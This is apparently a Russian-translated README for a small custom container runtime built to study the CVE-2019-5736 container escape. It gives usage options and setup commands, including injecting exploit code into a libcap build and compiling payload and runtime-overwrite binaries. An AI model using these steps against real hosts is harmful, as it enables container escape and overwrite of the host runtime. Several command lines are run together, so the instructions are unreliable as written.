
CVE-2019-5736, реализованная в собственном контейнерном runtime для понимания эксплойта.
CVE-2019-5736 реализован с использованием небольшой, самостоятельно написанной среды выполнения контейнера для понимания эксплойта.
Эксплойт основан на (и почти полностью скопирован из) runc-poc от twistlock: https://github.com/twistlock/RunC-CVE-2019-5736/tree/master/malicious_image_POC
Смотрите документацию кода для дополнительных сведений.
Usage: quarantine [OPTIONS] [BINARY and its ARGS]
--rootfs: (mandatory) Specify a rootfs for the container.
--urange: Specify a urange start_host:end_host,start_guest.
--grange: Specify a grange start_host:end_host,start_guest.
--uid: Specify the desired UID in the container.
--ugd: Specify the desired GID in the container.
--supp: Append supplementary groups from the specified grange to the process running in the container.
Отключает (unshare) все пространства имен, кроме пользовательского ns. Пользовательское ns отключается при особых обстоятельствах, т.е. когда указаны urange, grange, uid и/или gid.
Это было протестировано и выполнено на Ubuntu 18.04.
mkdir rootfssudo debootstrap bionic ./rootfsgit clone https://github.com/mhiramat/libcapcat exploit_code_for_shared_lib.c >> <any cap*.c, I used cap_alloc.c>makelibcap.so
sudo chroot rootfsapt install libcap-devlibcap.so.2.25 в соответствующую директорию rootfs
-sudo cp libcap.so.2.25 rootfs/lib/x86_64-linux-gnu
ldd quarantinesudo cp shebang_exploit rootfs/sudo gcc -o rootfs/root/payload payload.csudo gcc -o rootfs/overwrite_sndbx_runtime overwrite_sndbx_runtime.cНапример: sudo ./quarantine --rootfs rootfs /shebang_exploit или ./quarantine --rootfs rootfs --uid 1 /shebang_exploit.
Оно работает, пока вы либо сохраняете CAP_DAC_OVERRIDE или CAP_SYS_ADMIN на хосте, т.е. не отключаете пользовательское ns при использовании sudo (поскольку это удаляет возможности в родительском ns), либо вы владеете файлом на хосте.